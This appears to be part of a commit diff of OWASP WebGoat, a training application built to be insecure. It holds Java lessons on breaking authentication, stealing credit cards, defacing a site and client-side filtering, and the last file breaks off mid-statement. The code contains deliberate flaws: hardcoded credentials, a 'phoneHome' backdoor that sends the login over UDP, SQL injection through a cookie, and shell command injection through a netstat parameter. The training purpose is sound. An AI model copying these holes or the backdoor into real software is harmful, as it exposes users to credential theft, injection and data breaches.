import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class Challenge2Screen extends SequentialLessonAdapter
{
private static final String USER_COOKIE = "user";
private static final String JSP = ".jsp";
private static final String WEBGOAT_CHALLENGE = "webgoat_challenge";
private static final String WEBGOAT_CHALLENGE_JSP = WEBGOAT_CHALLENGE + JSP;
private static final String PROCEED_TO_NEXT_STAGE = "Proceed to the next stage...";
/**
* Description of the Field
*/
protected final static String CREDIT = "Credit";
/**
* Description of the Field
*/
protected final static String PROTOCOL = "File";
/**
* Description of the Field
*/
protected final static String MESSAGE = "Message";
/**
* Description of the Field
*/
protected final static String PARAM = "p";
/**
* Description of the Field
*/
protected final static String PASSWORD = "Password";
/**
* Description of the Field
*/
protected final static String USER = "s";
/**
* Description of the Field
*/
protected final static String USERNAME = "Username";
private String pass = "goodbye";
private String user = "youaretheweakestlink";
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
/**
* Determine the username and password
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element doStage1(WebSession s) throws Exception
{
setStage(s, 1);
String username = s.getParser().getStringParameter(USERNAME, "");
String password = s.getParser().getStringParameter(PASSWORD, "");
phoneHome(s, "User: " + user + " --> " + "Pass: " + pass);
if (username.equals(user) && password.equals(pass))
{
s.setMessage("Welcome to stage 2 -- get credit card numbers!");
setStage(s, 2);
return (doStage2(s));
}
s.setMessage("Invalid login");
ElementContainer ec = new ElementContainer();
ec.addElement(makeLogin(s));
// <START_OMIT_SOURCE>
// these are red herrings for the first stage
Input input = new Input(Input.HIDDEN, USER, "White");
ec.addElement(input);
Cookie newCookie = new Cookie(USER_COOKIE, "White");
s.getResponse().addCookie(newCookie);
// <END_OMIT_SOURCE>
return (ec);
}
// get creditcards from database
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element doStage2(WebSession s) throws Exception
{
// <START_OMIT_SOURCE>
Cookie newCookie = new Cookie(USER_COOKIE, "White");
s.getResponse().addCookie(newCookie);
ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "")
.equals(PROCEED_TO_NEXT_STAGE + "(3)"))
{
s.setMessage("Welcome to stage 3 -- deface the site");
setStage(s, 3);
// Reset the defaced webpage so the lesson can start over
resetWebPage(s);
return doStage3(s);
}
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
// pull the USER_COOKIE from the cookies
String user = getCookie(s);
String query = "SELECT * FROM user_data WHERE last_name = '" + user + "'";
Vector<String> v = new Vector<String>();
try
{
ResultSet results = statement3.executeQuery(query);
while (results.next())
{
String type = results.getString("cc_type");
String num = results.getString("cc_number");
v.addElement(type + "-" + num);
}
if (v.size() != 13)
{
s.setMessage("Try to get all the credit card numbers");
}
ec.addElement(buildCart(s));
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(0).setWidth("90%").setAlign("center");
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD().addElement("Please select credit card for this purchase: "));
Element p = ECSFactory.makePulldown(CREDIT, v);
tr.addElement(new TD().addElement(p).setAlign("right"));
t.addElement(tr);
tr = new TR();
Element b = ECSFactory.makeButton("Buy Now!");
tr.addElement(new TD().addElement(b));
t.addElement(tr);
ec.addElement(t);
ec.addElement(new BR());
Input input = new Input(Input.HIDDEN, USER, "White");
ec.addElement(input);
//STAGE 3 BUTTON
if (v.size() == 13)
{
s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!");
ec.addElement(new BR());
//TR inf = new TR();
Center center = new Center();
Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)");
center.addElement(proceed);
//inf.addElement(new TD().addElement(proceed).setAlign("center"));
ec.addElement(center);
}
}
catch (Exception e)
{
s.setMessage("An error occurred in the woods");
}
return (ec);
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
/*
* (non-Javadoc)
*
* @see lessons.LessonAdapter#doStage3(session.WebSession)
*/
protected Element doStage3(WebSession s) throws Exception
{
// <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer();
if (s.getParser().getStringParameter(Input.SUBMIT, "")
.equals(PROCEED_TO_NEXT_STAGE + "(4)"))
{
setStage(s, 4);
// Reset the defaced webpage so the lesson can start over
resetWebPage(s);
return doStage4(s);
}
// execute the possible attack first to determine if site is defaced.
ElementContainer netstatResults = getNetstatResults(s);
if (isDefaced(s))
{
ec.addElement(new HR());
s.setMessage("CONGRATULATIONS - You have defaced the site!");
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD().setAlign("center").addElement(
ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr);
ec.addElement(t);
return ec;
} else
{
// Setup the screen content
try
{
ec.addElement(new H1("Current Network Status:"));
ec.addElement(netstatResults);
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
if (s.isColor())
{
t.setBorder(1);
}
String[] list = { "TCP", "TCPv6", "IP", "IPv6", "UDP", "UDPv6" };
TR tr = new TR();
tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network")));
tr.addElement(new TD().setWidth("35%").addElement(
ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
t.addElement(tr);
ec.addElement(t);
}
catch (Exception e)
{
ec.addElement(new P()
.addElement("Select a message to read from the Message List below"));
}
ec.addElement(new HR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
"center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr);
ec.addElement(t);
}
return (ec);
// <END_OMIT_SOURCE>
}
private boolean isDefaced(WebSession s)
{
// <START_OMIT_SOURCE>
boolean defaced = false;
try
{
// get current text and compare to the new text
String origpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false);
defaced = (!origText.equals(defacedText));
}
catch (Exception e)
{
e.printStackTrace();
}
return defaced;
// <END_OMIT_SOURCE>
}
private Element showDefaceAttempt(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
// get current text and compare to the new text
String origpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath(
WEBGOAT_CHALLENGE_JSP))), false);
// show webgoat.jsp text
ec.addElement(new H1().addElement("Original Website Text"));
ec.addElement(new P().addElement(origText));
ec.addElement(new HR());
ec.addElement(new H1().addElement("Defaced Website Text"));
ec.addElement(new P().addElement(defaced));
ec.addElement(new HR());
return ec;
}
private void resetWebPage(WebSession s)
{
try
{
// get current text and compare to the new text
String defacedpath = s.getContext().getRealPath(
WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
// replace the defaced text with the original
File usersFile = new File(defacedpath);
FileWriter fw = new FileWriter(usersFile);
fw.write(getFileText(new BufferedReader(new FileReader(masterFilePath)), false));
fw.close();
// System.out.println("webgoat_guest replaced: " + getFileText( new
// BufferedReader( new FileReader( defacedpath ) ), false ) );
}
catch (Exception e)
{
e.printStackTrace();
}
}
protected Category getDefaultCategory()
{
return Category.CHALLENGE;
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element doStage4(WebSession s) throws Exception
{
makeSuccess(s);
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Thanks for coming!"));
ec.addElement(new BR());
ec
.addElement(new H1()
.addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
return (ec);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element doStage5(WebSession s) throws Exception
{
// <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer();
return (ec);
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
* @exception Exception
* Description of the Exception
*/
protected Element doStage6(WebSession s) throws Exception
{
return (new StringElement("not yet"));
}
/**
* Gets the hints attribute of the ChallengeScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
// <START_OMIT_SOURCE>
List<String> hints = new ArrayList<String>();
hints.add("You need to gain access to the Java source code for this lesson.");
hints.add("Seriously, no more hints -- it's a CHALLENGE!");
hints.add("Come on -- give it a rest!");
if (getStage(s) != 1)
;
{
hints.add("Persistance is always rewarded");
}
return hints;
// <END_OMIT_SOURCE>
}
protected Element makeLogin(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%")
.setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please sign in to your account. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth("30%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr);
TR row1 = new TR();
TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*User Name: "))));
row2.addElement(new TD(new B(new StringElement("*Password: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1));
row2.addElement(new TD(input2));
t.addElement(row1);
t.addElement(row2);
Element b = ECSFactory.makeButton("Login");
t.addElement(new TR(new TD(b)));
ec.addElement(t);
return (ec);
}
/**
* Gets the instructions attribute of the ChallengeScreen object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Your mission is to break the authentication scheme, "
+ "steal all the credit cards from the database, and then deface the website. "
+ "You will have to use many of the techniques you have learned in the other lessons. "
+ "The main webpage for this site is 'webgoat_challenge_&lt;username&gt;.jsp'";
return (instructions);
}
/**
* Gets the ranking attribute of the ChallengeScreen object
*
* @return The ranking value
*/
protected Integer getDefaultRanking()
{
return new Integer(130);
}
/**
* This is a deliberate 'backdoor' that would send user name and password
* back to the remote host. Obviously, sending the password back to the
* remote host isn't that useful but... you get the idea
*
* @param s
* Description of the Parameter
* @param message
* Description of the Parameter
*/
protected void phoneHome(WebSession s, String message)
{
try
{
InetAddress addr = InetAddress.getByName(s.getRequest().getRemoteHost());
DatagramPacket dp = new DatagramPacket(message.getBytes(), message.length());
DatagramSocket sock = new DatagramSocket();
sock.connect(addr, 1234);
System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp);
sock.close();
}
catch (Exception e)
{
System.out.println("Couldn't phone home");
e.printStackTrace();
}
}
/**
* Gets the title attribute of the ChallengeScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("The CHALLENGE!");
}
/**
* Description of the Method
*
* @param text
* Description of the Parameter
* @return Description of the Return Value
*/
protected ElementContainer getNetstatResults(WebSession s)
{
// <START_OMIT_SOURCE>
ElementContainer ec = new ElementContainer();
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Protocol").setWidth("7%"));
tr.addElement(new TH().addElement("Local Address").setWidth("80%"));
tr.addElement(new TH().addElement("Foreign Address").setWidth("10%"));
tr.addElement(new TH().addElement("State").setWidth("3%"));
t.addElement(tr);
String protocol = s.getParser().getRawParameter(PROTOCOL, "tcp");
String osName = System.getProperty("os.name");
ExecResults er = null;
if (osName.indexOf("Windows") != -1)
{
String cmd = "cmd.exe /c netstat -a -p " + protocol;
er = Exec.execSimple(cmd);
} else
{
String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol };
er = Exec.execSimple(cmd);
}
String results = er.getOutput();
StringTokenizer lines = new StringTokenizer(results, "\n");
String line = lines.nextToken();
// System.out.println(line);
int start = 0;
while (start == 0 && lines.hasMoreTokens())
{
if ((line.indexOf("Proto") != -1))
{
start++;
} else
{
line = lines.nextToken();
}
}
while (start > 0 && lines.hasMoreTokens())
{
// in order to avoid a ill-rendered screen when the user performs
// command injection, we will wrap the screen at 4 columns
int columnCount = 4;
tr = new TR();
StringTokenizer tokens = new StringTokenizer(lines.nextToken(), "\t ");
while (tokens.hasMoreTokens() && columnCount-- > 0)
{
tr.addElement(new TD().addElement(tokens.nextToken()));
}
t.addElement(tr);
}
// parse the results
ec.addElement(t);
return (ec);
// <END_OMIT_SOURCE>
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeClues(WebSession s)
{
return new StringElement("Clues not Available :)");
}
protected Element makeHints(WebSession s)
{
return new StringElement("Hint: Find the hints");
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param message
* Description of the Parameter
*/
protected void sendMessage(Socket s, String message)
{
try
{
OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream());
osw.write(message);
}
catch (Exception e)
{
System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace();
}
}
protected Element buildCart(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price:").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity:").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Sympathy Bouquet"));
tr.addElement(new TD().addElement("59.99").setAlign("right"));
tr.addElement(new TD().addElement(" 1 ").setAlign("right"));
tr.addElement(new TD().addElement("59.99"));
t.addElement(tr);
ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign(
"center");
if (s.isColor())
{
t.setBorder(1);
}
ec.addElement(new BR());
tr = new TR();
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("59.99"));
t.addElement(tr);
ec.addElement(t);
return (ec);
}
public boolean canHaveClues()
{
return false;
}
/**
* Gets the cookie attribute of the CookieScreen object
*
* @param s
* Description of the Parameter
* @return The cookie value
*/
protected String getCookie(WebSession s)
{
Cookie[] cookies = s.getRequest().getCookies();
for (int i = 0; i < cookies.length; i++)
{
if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE))
{
return (cookies[i].getValue());
}
}
return (null);
}
}

429
main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java Normal file
View File

@ -0,0 +1,429 @@
package org.owasp.webgoat.lessons.ClientSideFiltering;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.Script;
import org.apache.ecs.html.Select;
import org.apache.ecs.html.Style;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.jsp.jsp_include;
import org.apache.ecs.xhtml.style;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.SequentialLessonAdapter;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
public class ClientSideFiltering extends SequentialLessonAdapter {
private final static String ANSWER = "answer";
public final static A ASPECT_LOGO = new A().setHref(
"http://www.aspectsecurity.com").addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security")
.setBorder(0).setHspace(0).setVspace(0));
protected Element createContent(WebSession s) {
return super.createStagedContent(s);
}
protected Element createMainContent(WebSession s) {
ElementContainer ec = new ElementContainer();
try {
ec.addElement(new Script()
.setSrc("javascript/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102);
input.setID("userID");
ec.addElement(input);
style sty = new style();
sty
.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
+ "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
+ "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
ec.addElement(sty);
Div wrapperDiv = new Div();
wrapperDiv.setID("lesson_wrapper");
Div headerDiv = new Div();
headerDiv.setID("lesson_header");
Div workspaceDiv = new Div();
workspaceDiv.setClass("lesson_workspace");
wrapperDiv.addElement(headerDiv);
wrapperDiv.addElement(workspaceDiv);
ec.addElement(wrapperDiv);
workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new P()
.addElement("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Select user:"));
workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords");
t.setStyle("display: none");
workspaceDiv.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
.setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement("UserID"));
tr.addElement(new TD().addElement("First Name"));
tr.addElement(new TD().addElement("Last Name"));
tr.addElement(new TD().addElement("SSN"));
tr.addElement(new TD().addElement("Salary"));
t.addElement(tr);
tr = new TR();
tr.setID("employeeRecord");
t.addElement(tr);
workspaceDiv.addElement(t);
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the RoleBasedAccessControl object
*
* @return The category value
*/
protected ElementContainer doStage1(WebSession s) {
ElementContainer ec = new ElementContainer();
StringBuffer answerString = null;
int answer = 0;
try {
answerString = new StringBuffer(s.getParser().getStringParameter(
ANSWER, ""));
answer = Integer.parseInt(answerString.toString());
} catch (NumberFormatException e) {
// e.printStackTrace();
}
if (answer == 450000) {
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
} else {
ec.addElement(stage1Content(s));
}
return ec;
}
protected Element doStage2(WebSession s) {
ElementContainer ec = new ElementContainer();
/**
* They pass iff:
*
* 1. If the DOMXSS.js file contains the lines "escapeHTML(name)"
*/
String file = s.getWebResource("lessons/Ajax/clientSideFiltering.jsp");
String content = getFileContent(file);
if (content.indexOf("[Managers/Manager/text()") != -1) {
makeSuccess(s);
ec.addElement(stage2Content(s));
} else {
ec.addElement(stage2Content(s));
}
return ec;
}
protected ElementContainer stage1Content(WebSession s) {
ElementContainer ec = new ElementContainer();
try {
ec.addElement(createMainContent(s));
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) {
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD()
.addElement("What is Neville Bartholomew's salary? "));
tr.addElement(new TD(new Input(Input.TEXT, ANSWER, "")));
Element b = ECSFactory.makeButton("Submit Answer");
tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr);
ec.addElement(t1);
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
}
protected ElementContainer stage2Content(WebSession s) {
ElementContainer ec = new ElementContainer();
try {
ec.addElement(createMainContent(s));
ec.addElement(new BR());
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor()) {
t1.setBorder(1);
}
TR tr = new TR();
/*tr.addElement(new TD()
.addElement("Press 'Submit' when you believe you have completed the lesson."));
*/
Element b = ECSFactory
.makeButton("Click here when you believe you have completed the lesson.");
tr.addElement(new TD(b).setAlign("CENTER"));
t1.addElement(tr);
ec.addElement(t1);
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
}
protected Select createDropDown() {
Select select = new Select("UserSelect");
select.setID("UserSelect");
org.apache.ecs.html.Option option = new org.apache.ecs.html.Option(
"Choose Employee", "0", "Choose Employee");
select.addElement(option);
option = new org.apache.ecs.html.Option("Larry Stooge", "101",
"Larry Stooge");
select.addElement(option);
option = new org.apache.ecs.html.Option("Curly Stooge", "103",
"Curly Stooge");
select.addElement(option);
option = new org.apache.ecs.html.Option("Eric Walker", "104",
"Eric Walker");
select.addElement(option);
option = new org.apache.ecs.html.Option("Tom Cat", "105", "Tom Cat");
select.addElement(option);
option = new org.apache.ecs.html.Option("Jerry Mouse", "106",
"Jerry Mouse");
select.addElement(option);
option = new org.apache.ecs.html.Option("David Giambi", "107",
"David Giambi");
select.addElement(option);
option = new org.apache.ecs.html.Option("Bruce McGuirre", "108",
"Bruce McGuirre");
select.addElement(option);
option = new org.apache.ecs.html.Option("Sean Livingston", "109",
"Sean Livingston");
select.addElement(option);
option = new org.apache.ecs.html.Option("Joanne McDougal", "110",
"Joanne McDougal");
select.addElement(option);
select.setOnChange("selectUser()");
select.setOnFocus("fetchUserData()");
return select;
}
protected Category getDefaultCategory() {
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the RoleBasedAccessControl object
*
* @return The hints value
*/
public List<String> getHints(WebSession s) {
List<String> hints = new ArrayList<String>();
hints
.add("The information displayed when an employee is choosen from the drop down menu is stored on the client side.");
hints
.add("Use Firebug to find where the information is stored on the client side.");
hints
.add("Examine the hidden table to see if there is anyone listed who is not in the drop down menu.");
hints.add("Look in the last row of the hidden table.");
hints
.add("You can access the server directly <a href = \"/WebGoat/lessons/Ajax/clientSideFiltering.jsp?userId=102\">here </a>"
+ "to see what results are being returned");
hints.add("The server uses an XPath query agasinst an XML database.");
hints
.add("The query currently returns all of the contents of the database.");
hints
.add("The query should only return the information of employees who are managed by Moe Stooge, who's userID is 102");
hints.add("Try using a filter operator.");
hints
.add("your filter operator shoiuld look something like: [Managers/Manager/text()=");
return hints;
}
public String getInstructions(WebSession s) {
String instructions = "";
if (getLessonTracker(s).getStage() == 1) {
instructions = "STAGE 1:\tYou are Moe Stooge, CSO of Goat Hills Financial. "
+ "You have access to everyone in the company's information, except the CEO, "
+ "Neville Bartholomew. Or at least you shouldn't have access to the CEO's information."
+ " For this exercise, "
+ "examine the contents of the page to see what extra information you can find.";
} else if (getLessonTracker(s).getStage() == 2) {
instructions = "STAGE 2:\tNow, fix the problem. Modify the server to only return "
+ "results that Moe Stooge is allowed to see.";
}
return (instructions);
}
private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() {
return DEFAULT_RANKING;
}
/**
* Gets the resources attribute of the RoleBasedAccessControl object
*
* @param rl
* Description of the Parameter
* @return The resources value
*/
/**
* Gets the role attribute of the RoleBasedAccessControl object
*
* @param user
* Description of the Parameter
* @return The role value
*/
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle() {
return ("LAB: Client Side Filtering");
}
private String getFileContent(String content) {
BufferedReader is = null;
StringBuffer sb = new StringBuffer();
try {
is = new BufferedReader(new FileReader(new File(content)));
String s = null;
while ((s = is.readLine()) != null) {
sb.append(s);
}
} catch (Exception e) {
e.printStackTrace();
} finally {
if (is != null) {
try {
is.close();
} catch (IOException ioe) {
}
}
}
return sb.toString();
}
public Element getCredits() {
return super.getCustomCredits("", ASPECT_LOGO);
}
}

423
main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideValidation.java Normal file
View File

@ -0,0 +1,423 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.Script;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
public class ClientSideValidation extends SequentialLessonAdapter {
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private boolean stage1FirstVisit = true;
private boolean stage2FirstVisit = true;
protected Element createContent(WebSession s) {
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) {
return evalStage1(s);
}
protected Element doStage2(WebSession s) {
return stage2Content(s);
}
protected Element evalStage1(WebSession s) {
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
//test success
if (param1.equalsIgnoreCase("platinum")
|| param1.equalsIgnoreCase("gold")
|| param1.equalsIgnoreCase("silver")
|| param1.equalsIgnoreCase("bronze")
|| param1.equalsIgnoreCase("pressone")
|| param1.equalsIgnoreCase("presstwo")) {
getLessonTracker(s).setStage(2);
//s.resetHintCount();
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
} else {
if (!stage1FirstVisit) {
s.setMessage("Keep looking for the coupon code.");
}
stage1FirstVisit = false;
ec.addElement(stage1Content(s));
}
return ec;
}
protected Element stage1Content(WebSession s) {
ElementContainer ec = new ElementContainer();
try {
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
ec.addElement(createTotalTable(s));
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element stage2Content(WebSession s) {
ElementContainer ec = new ElementContainer();
try {
ec.addElement(new Script()
.setSrc("javascript/clientSideValidation.js"));
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1()
.addElement("Shopping Cart")));
ec.addElement(createQtyTable(s));
ec.addElement(createTotalTable(s));
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
// test success
float grandTotal = s.getParser()
.getFloatParameter("GRANDTOT", 0.0f);
if (getTotalQty(s) > 0 && grandTotal == 0 && !stage2FirstVisit) {
makeSuccess(s);
} else {
if (!stage2FirstVisit) {
s.setMessage("Your order isn't free yet.");
}
stage2FirstVisit = false;
}
} catch (Exception e) {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected ElementContainer createTotalTable(WebSession s) {
ElementContainer ec = new ElementContainer();
String param1 = s.getParser().getRawParameter("field1", "");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"field2", "4128 3214 0002 1999"));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
if (s.isColor()) {
t.setBorder(1);
}
ec.addElement(new BR());
TR tr = new TR();
tr.addElement(new TD()
.addElement("Total before coupon is applied:"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "SUBTOT", s.getParser()
